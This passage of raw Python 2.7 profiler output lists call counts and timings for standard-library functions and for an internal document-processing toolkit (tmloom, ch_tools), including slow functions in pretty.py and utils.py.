0.000 0.000 0.000 {method 'index' of 'list' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/struct.py:1() 1 0.000 0.000 0.002 0.002 /home2/rackdev/tmloom/_scanProject.py:5() 4 0.000 0.000 0.028 0.007 /usr/lib/python2.7/encodings/__init__.py:71(search_function) 7 0.000 0.000 103.284 14.755 /home2/rackdev/ch_tools/ch_globalItem.py:261(_readGlobalItem) 5 0.000 0.000 0.000 0.000 /usr/lib/python2.7/abc.py:86(__new__) 1 0.000 0.000 0.271 0.271 /home2/rackdev/ch_tools/ch_util.py:1174(doBash) 13 0.000 0.000 0.000 0.000 {all} 3 0.000 0.000 0.000 0.000 {thread.start_new_thread} 1 0.000 0.000 7.753 7.753 /home2/rackdev/tmloom/lib/pretty.py:4432(makeXhtmlDtdDict) 76 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:530(__iter__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:12() 1 0.000 0.000 0.014 0.014 /home2/rackdev/ch_tools/walshDtd.py:8() 31 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1354(has_metadata) 27 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:287(__init__) 17 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/util.py:161(register_after_fork) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/fnmatch.py:45(filter) 98 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1701(__init__) 108 0.000 0.000 0.000 0.000 {method 'read' of 'cStringIO.StringI' objects} 70 0.000 0.000 0.000 0.000 {method 'tostring' of 'array.array' objects} 2 0.000 0.000 0.006 0.003 /usr/lib/python2.7/dist-packages/pkg_resources.py:1578(_extract_resource) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/forking.py:35() 1 0.000 0.000 0.179 0.179 /usr/lib/python2.7/urllib2.py:1139(do_open) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:656(__init__) 1 0.000 0.000 0.000 0.000 {filter} 103 0.000 0.000 0.000 0.000 /usr/lib/python2.7/glob.py:77() 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/infomngr.py:143() 3 0.000 0.000 0.000 0.000 {method 'recv_bytes' of '_multiprocessing.Connection' objects} 19 0.000 0.000 0.000 0.000 /home2/rackdev/ch_tools/renumberMSGroups.py:61(replaceParensInRE) 75 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:740(_added_new) 3/1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:276(close) 17 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:98(__setitem__) 3 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1496(build_zipmanifest) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/Queue.py:3() 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1653(_index) 3 0.000 0.000 0.000 0.000 {posix.urandom} 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:185(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:1361(getproxies_environment) 16 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/managers.py:638(register) 1 0.000 0.000 0.047 0.047 /usr/lib/python2.7/multiprocessing/managers.py:604(_finalize_manager) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/util.py:176(__init__) 1 0.000 0.000 0.005 0.005 /usr/lib/python2.7/multiprocessing/managers.py:504(start) 1 0.000 0.000 0.005 0.005 /home2/rackdev/tmloom/lib/urlDotXml.py:4() 4 0.000 0.000 0.001 0.000 /usr/lib/python2.7/multiprocessing/queues.py:58(__init__) 86 0.000 0.000 0.000 0.000 {method 'isalnum' of 'str' objects} 19 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:58(__iter__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/bdb.py:3() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/functools.py:10() 75 0.000 0.000 0.000 0.000 {imp.release_lock} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:179(_socketobject) 26 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1457(_has) 2 0.000 0.000 0.047 0.024 /usr/lib/python2.7/multiprocessing/util.py:192(__call__) 4 0.000 0.000 0.002 0.001 /home2/rackdev/tmloom/lib/el.py:210(parameter) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:154(__init__) 2 0.000 0.000 0.005 0.002 /home2/rackdev/ch_tools/walshDtd.py:1257(gisOfEmptyElementTypes) 16 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1962(normalize_path) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/hubclass.py:29(__init__) 8 0.000 0.000 0.000 0.000 /usr/lib/python2.7/abc.py:105(register) 3 0.000 0.000 0.000 0.000 {method 'strftime' of 'datetime.date' objects} 63 0.000 0.000 0.000 0.000 {method 'partition' of 'str' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/getpass.py:141(getuser) 27 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:904(getinfo) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/encodings/utf_8.py:9() 36 0.000 0.000 0.000 0.000 {method 'add' of 'set' objects} 16 0.000 0.000 0.001 0.000 /usr/lib/python2.7/posixpath.py:379(realpath) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/multiprocessing/process.py:116(start) 1 0.000 0.000 0.007 0.007 /usr/lib/python2.7/multiprocessing/forking.py:152(wait) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/queues.py:86(_after_fork) 1 0.000 0.000 0.050 0.050 /usr/lib/python2.7/httplib.py:408(begin) 17 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:262(__new__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/os.py:35(_get_exports_list) 19 0.000 0.000 0.000 0.000 /home2/rackdev/ch_tools/renumberMSGroups.py:85(recordGroupMapEntry) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/sre_parse.py:703(parse_template) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:201(_EndRecData) 22 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:36(__init__) 1 0.000 0.000 0.013 0.013 /usr/lib/python2.7/platform.py:112() 75 0.000 0.000 0.000 0.000 {imp.acquire_lock} 2 0.000 0.000 0.001 0.000 /home2/rackdev/ch_tools/renumberMSGroups.py:43(renumberGroups) 1 0.000 0.000 0.102 0.102 /home2/rackdev/tmloom/lib/batch.py:22(__init__) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/fpformat.py:13() 12 0.000 0.000 0.000 0.000 {method 'seek' of 'file' objects} 52 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1739(__init__) 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:241(Condition) 1 0.000 0.000 0.000 0.000 {method 'sendall' of '_socket.socket' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/tty.py:5() 42 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2688(cls) 11 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1981(yield_lines) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/hubf.py:9() 16 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:83(add) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/symbol.py:13() 1 0.000 0.000 0.017 0.017 /usr/lib/python2.7/dist-packages/pkg_resources.py:417(__init__) 27/16 0.000 0.000 0.000 0.000 {issubclass} 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/urllib2.py:454(build_opener) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/rfc822.py:74() 3 0.000 0.000 0.000 0.000 {method 'send_bytes' of '_multiprocessing.Connection' objects} 42 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pkgutil.py:173(__init__) 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/forking.py:131(poll) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:308(wait) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/encodings/__init__.py:49(normalize_encoding) 1 0.000 0.000 7.107 7.107 /home2/rackdev/tmloom/lib/pretty.py:4274(makeHtmllooseSgmlDtdDict) 1 0.000 0.000 0.007 0.007 /usr/lib/python2.7/multiprocessing/process.py:139(join) 8 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:26(__exit__) 3 0.000 0.000 0.001 0.000 /usr/lib/python2.7/zipfile.py:726(__init__) 4 0.000 0.000 0.002 0.001 /home2/rackdev/tmloom/lib/pretty.py:138(_tweakChapterReferencingUrisDict) 5 0.000 0.000 0.046 0.009 /usr/lib/python2.7/socket.py:223(meth) 4 0.000 0.000 0.000 0.000 {method 'copy' of 'dict' objects} 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:952(__init__) 33 0.000 0.000 0.000 0.000 {_struct.unpack} 48 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1704(has_metadata) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/connection.py:293(SocketClient) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/mimetools.py:24(__init__) 5 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/connection.py:183(Pipe) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/connection.py:412(deliver_challenge) 3 0.000 0.000 0.001 0.000 /usr/lib/python2.7/threading.py:726(start) 17 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:267(__init__) 2 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/utils.py:5684(getAppYear) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/token.py:11() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/bisect.py:3() 1 0.000 0.000 0.007 0.007 :2() 1 0.000 0.000 0.003 0.003 /usr/lib/python2.7/textwrap.py:40(TextWrapper) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:709(_set_daemon) 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hashlib.py:94(__get_openssl_constructor) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2742(_initialize) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/multiprocessing/forking.py:116(__init__) 1 0.000 0.000 0.000 0.000 /home2/rackdev/ch_tools/ch_comboPerm.py:2() 5 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1469(_get) 16 0.000 0.000 0.000 0.000 /home2/rackdev/ch_tools/ch_formatRegexp.py:99(backslashFirst) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pickle.py:827(Unpickler) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:560(__init__) 27 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:383(_decodeExtra) 1 0.000 0.000 0.128 0.128 /usr/lib/python2.7/socket.py:537(create_connection) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hmac.py:122(new) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/queues.py:219(_finalize_close) 13 0.000 0.000 0.000 0.000 /usr/lib/python2.7/collections.py:355() 26 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/util.py:72(debug) 1 0.000 0.000 0.007 0.007 /home2/rackdev/tmloom/lib/customre.py:9() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pkgutil.py:6() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/StringIO.py:31() 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/rfc822.py:197(isheader) 15 0.000 0.000 0.000 0.000 /usr/lib/python2.7/UserDict.py:70(__contains__) 1 0.000 0.000 0.180 0.180 /usr/lib/python2.7/urllib2.py:386(open) 1 0.000 0.000 0.050 0.050 /usr/lib/python2.7/httplib.py:1015(getresponse) 5 0.000 0.000 0.000 0.000 /usr/lib/python2.7/abc.py:89() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/encodings/idna.py:147(encode) 13 0.000 0.000 0.000 0.000 /usr/lib/python2.7/collections.py:353() 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/rfc822.py:285(getheader) 1 0.000 0.000 0.001 0.001 /home2/rackdev/ch_tools/js_show.py:16() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pprint.py:37() 11 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/utils.py:8012(longestFirst) 1 0.000 0.000 0.001 0.001 /home2/rackdev/tmloom/lib/insertSemiPersistentIds.py:4() 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/utils.py:5706(getRunDateMO) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:872(namelist) 27 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:377(_decodeFilename) 7 0.000 0.000 0.000 0.000 {method 'read' of 'cStringIO.StringO' objects} 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/codecs.py:77(__new__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pdb.py:59(Pdb) 1 0.000 0.000 0.004 0.004 /usr/lib/python2.7/textwrap.py:8() 1 0.000 0.000 0.050 0.050 /usr/lib/python2.7/httplib.py:369(_read_status) 1 0.000 0.000 0.000 0.000 {eval} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/__future__.py:51() 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hmac.py:106(digest) 13 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:503(__lt__) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:48(remove) 8 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:20(__enter__) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1440(_setup_prefix) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:92(_declare_state) 8 0.000 0.000 0.000 0.000 {method 'write' of 'cStringIO.StringO' objects} 6 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/utils.py:6114(protectionReplacementFunc) 8 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/synchronize.py:146(__init__) 1 0.000 0.000 0.001 0.001 /home2/rackdev/tmloom/lib/expidx.py:8() 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/synchronize.py:84(_make_methods) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1539(_zipinfo_name) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/encodings/ascii.py:41(getregentry) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/repr.py:3() 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1358(get_metadata) 3 0.000 0.000 0.001 0.000 /usr/lib/python2.7/threading.py:602(wait) 1 0.000 0.000 0.254 0.254 /home2/rackdev/tmloom/lib/topicdb.py:537(openTopicDatabase) 2 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1747(__init__) 1 0.000 0.000 0.000 0.000 {method 'send' of '_multiprocessing.Connection' objects} 4 0.000 0.000 0.000 0.000 {time.mktime} 1 0.000 0.000 0.101 0.101 /home2/rackdev/tmloom/lib/utils.py:4596(testForSunJava) 13 0.000 0.000 0.000 0.000 {cStringIO.StringIO} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urlparse.py:168(urlsplit) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:192(close) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/__init__.py:102(Pipe) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pickle.py:171(Pickler) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:984(get_cache_path) 1 0.000 0.000 0.129 0.129 /usr/lib/python2.7/httplib.py:793(send) 3 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/el.py:88(Path) 1 0.000 0.000 71.809 71.809 /home2/rackdev/tmloom/lib/pretty.py:2095(setUpUpdatingOfIrsUrls) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:246(__init__) 8 0.000 0.000 0.000 0.000 {method 'update' of '_hashlib.HASH' objects} 1 0.000 0.000 0.000 0.000 :1(ParseResult) 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:224(addheader) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:1006(__init__) 1 0.000 0.000 0.010 0.010 /home2/rackdev/ch_tools/renumberMSGroups.py:8() 4 0.000 0.000 0.179 0.045 /usr/lib/python2.7/urllib2.py:374(_call_chain) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/random.py:100(seed) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/mimetools.py:33(parsetype) 4 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1777(find_eggs_in_zip) 16 0.000 0.000 0.000 0.000 {method 'seek' of 'cStringIO.StringO' objects} 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:158(_EndRecData64) 1 0.000 0.000 31.143 31.143 /home2/rackdev/tmloom/lib/utils.py:6371(getProductInvocationsResourcesDict) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/processslicegroves.py:3() 19 0.000 0.000 0.000 0.000 {thread.allocate_lock} 5 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1670(_has) 1 0.000 0.000 0.000 0.000 {zip} 8 0.000 0.000 0.000 0.000 {_bisect.insort} 2 0.000 0.000 0.002 0.001 /home2/rackdev/tmloom/lib/pretty.py:196(_tweakFragmentContainingUrisDict) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/collections.py:26(OrderedDict) 1 0.000 0.000 0.002 0.002 /home2/rackdev/tmloom/lib/xslfunc.py:3() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/cmd.py:48() 2 0.000 0.000 0.001 0.000 /usr/lib/python2.7/glob.py:29(iglob) 5 0.000 0.000 0.000 0.000 {_hashlib.openssl_md5} 1 0.000 0.000 0.129 0.129 /usr/lib/python2.7/httplib.py:998(_send_request) 3 0.000 0.000 0.000 0.000 {method 'close' of '_multiprocessing.Connection' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:341(__init__) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1092(get_default_cache) 20 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:79(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/sysconfig.py:580(get_platform) 11 0.000 0.000 0.000 0.000 /usr/lib/python2.7/posixpath.py:290(expandvars) 1 0.000 0.000 0.000 0.000 :1(SplitResult) 1 0.000 0.000 0.000 0.000 {function seed at 0x7f26b32aec80} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:640(Thread) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/hubf.py:11(hub) 3 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/pretty.py:2254() 2 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/utils.py:5722(getRunDate) 8 0.000 0.000 0.000 0.000 {time.time} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/keyword.py:13() 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hmac.py:97(_current) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:181(request_host) 1 0.000 0.000 0.039 0.039 /usr/lib/python2.7/multiprocessing/connection.py:161(Client) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/encodings/idna.py:279(getregentry) 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/posixpath.py:119(basename) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/grovefunctions.py:5() 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1368(get_metadata_lines) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/process.py:94(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:199(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/BaseHTTPServer.py:114(BaseHTTPRequestHandler) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:1152(currentThread) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/managers.py:97(dispatch) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:541(Event) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/encodings/idna.py:62(ToASCII) 17 0.000 0.000 0.000 0.000 /usr/lib/python2.7/posixpath.py:51(normcase) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1570(_get_date_and_size) 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:1251(close) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/rfc822.py:88(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:1110(do_request_) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/rfc822.py:209(islast) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:429(error) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/UserDict.py:58(get) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/warnings.py:339(__enter__) 4 0.000 0.000 0.002 0.001 /home2/rackdev/tmloom/lib/pretty.py:109(tweakChapterReferencingUrisDict) 1 0.000 0.000 0.006 0.006 /usr/lib/python2.7/dist-packages/pkg_resources.py:1557(get_resource_filename) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/managers.py:473(__init__) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:951(putheader) 4 0.000 0.000 0.000 0.000 {method 'digest' of '_hashlib.HASH' objects} 9 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:70(__contains__) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/process.py:149(is_alive) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/random.py:72(Random) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1548(_parts) 1 0.000 0.000 0.179 0.179 /usr/lib/python2.7/urllib2.py:414(_open) 2 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2347(from_filename) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/subprocess.py:647(Popen) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:1090(__init__) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/xslreg.py:9() 1 0.000 0.000 0.000 0.000 /home2/rackdev/ch_tools/ch_pexpect.py:233(spawn) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/connection.py:98(address_type) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:516(http_response) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:524(close) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/international.py:1() 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:1168() 2 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:124(_interpretEntityReferences) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:530(http_error_default) 1 0.000 0.000 0.181 0.181 /usr/lib/python2.7/urllib2.py:123(urlopen) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urlparse.py:137(urlparse) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/posixpath.py:149(lexists) 6 0.000 0.000 0.000 0.000 {method 'setter' of 'property' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/bdb.py:14(Bdb) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/warnings.py:318(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2176(Distribution) 8 0.000 0.000 0.000 0.000 {method 'translate' of 'str' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:1067(splittype) 13 0.000 0.000 0.000 0.000 {method '__contains__' of 'frozenset' objects} 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/constants.py:2() 8 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:16(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/sqlite3/dbapi2.py:55(register_adapters_and_converters) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/warnings.py:45(filterwarnings) 13 0.000 0.000 0.000 0.000 {method 'isdigit' of 'str' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:35(WeakValueDictionary) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:80(_bypass_ensure_directory) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/el.py:143(parsefilename) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/ssl.py:196(SSLSocket) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:271(WeakKeyDictionary) 5 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:813(_output) 1 0.000 0.000 0.129 0.129 /usr/lib/python2.7/httplib.py:820(_send_output) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/glob.py:66(glob1) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:841(putrequest) 7 0.000 0.000 0.000 0.000 {method 'readline' of 'cStringIO.StringO' objects} 1 0.000 0.000 0.006 0.006 /usr/lib/python2.7/dist-packages/pkg_resources.py:933(resource_filename) 5 0.000 0.000 0.000 0.000 {_struct.calcsize} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:212(makefile) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/process.py:86(Process) 1 0.000 0.000 0.017 0.017 /usr/lib/python2.7/dist-packages/pkg_resources.py:430(_build_master) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:116(URLopener) 1 0.000 0.000 0.000 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:340(Urinorm) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1644(_get_eager_resources) 1 0.000 0.000 1.135 1.135 :11() 8 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:52(_commit_removals) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/managers.py:692(BaseProxy) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/synchronize.py:129(__init__) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/rfc822.py:219(iscomment) 2 0.000 0.000 0.000 0.000 {posix.uname} 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:1024(daemon) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/fnmatch.py:81(translate) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/tempfile.py:501(SpooledTemporaryFile) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/sre_parse.py:710(literal) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:709(ZipFile) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:252(get_build_platform) 3 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/el.py:80(PathCurrent) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urlparse.py:160(_splitnetloc) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/fnmatch.py:13() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urlparse.py:73(ResultMixin) 6 0.000 0.000 0.000 0.000 {method 'splitlines' of 'str' objects} 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/warnings.py:355(__exit__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/util.py:341(_reset) 3 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/el.py:76(DirCurrent) 1 0.000 0.000 0.002 0.002 /home2/rackdev/tmloom/lib/xslfunc.py:33(xslFunctions) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:697(__init__) 8 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:496(add_parent) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:575(set) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:1172(splittag) 1 0.000 0.000 0.128 0.128 /usr/lib/python2.7/httplib.py:775(connect) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:686(HTTPConnection) 6 0.000 0.000 